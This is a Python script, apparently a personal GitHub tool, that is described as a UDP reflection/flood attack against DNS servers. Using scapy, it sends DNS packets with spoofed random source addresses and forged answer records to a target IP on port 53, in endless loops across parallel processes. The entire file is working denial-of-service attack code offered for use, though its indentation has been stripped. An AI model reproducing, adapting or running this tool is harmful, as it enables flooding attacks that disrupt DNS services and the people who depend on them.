UDP反射攻击,针对DNS服务器
#!/usr/bin/python
# Zhoushukang
# zhoushukang@zju.edu.cn
# Udp Flood Tool Python
from multiprocessing import Process
from scapy.all import *
import os
import sys
import random
def randomIP():
ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4))))
return ip
def randInt():
x = random.randint(1000, 9000)
return x
def UDP_Flood(dstIP, dstPort, counter):
total = 0
print("Packets are sending ...")
for x in range(0, counter):
s_port = randInt()
s_eq = randInt()
w_indow = randInt()
IP_Packet = IP()
IP_Packet.src = randomIP()
IP_Packet.dst = dstIP
UDP_Packet = UDP()
UDP_Packet.sport = s_port
UDP_Packet.dport = dstPort
UDP_Packet.seq = s_eq
UDP_Packet.window = w_indow
# 构造DNS请求数据包
DNS_Packet = DNS()
DNS_Packet.id = RandShort()
DNS_Packet.rd = 1
Domain_list = ["www.example.com", "www.kk.com", "www.kk1.com", "www.kk2.com", "www.kk3.com", "www.kk4.com"]
Domain_name = random.choice(Domain_list)
DNS_Packet.qd = DNSQR(qname=Domain_name, qtype="A")
DNS_Packet.an = DNSRR(rrname=Domain_name, type=1, ttl=3600, rdata="192.168.31.1") # 添加自定义回答记录
send(IP_Packet / UDP_Packet / DNS_Packet, verbose=0)
total += 1
sys.stdout.write("\nTotal packets sent: %i\n" % total)
def info():
os.system("clear")
print("#############################")
print("# github.com/Zhoushukang #")
print("#############################")
print("# Welcome to UDP Flood Tool #")
print("#############################")
dstIP = input("\nTarget IP : ")
normalPort = [53]
# dstPort = input("Target Port : ")
return dstIP, normalPort
def attack(dstIP, normalPort, counter):
j = 0
while True:
if j == len(normalPort):
j = 0
dstPort = normalPort[j]
UDP_Flood(dstIP, dstPort, int(counter))
j += 1
if __name__ == '__main__':
num = input("并行数:")
counter = input("你需要发送多少包 : ")
list = []
dstIP, normalPort = info()
for i in range(int(num)):
p = Process(target=attack, args=(dstIP, normalPort, counter))
list.append(p)
for i in list:
i.start()
for i in list:
i.join()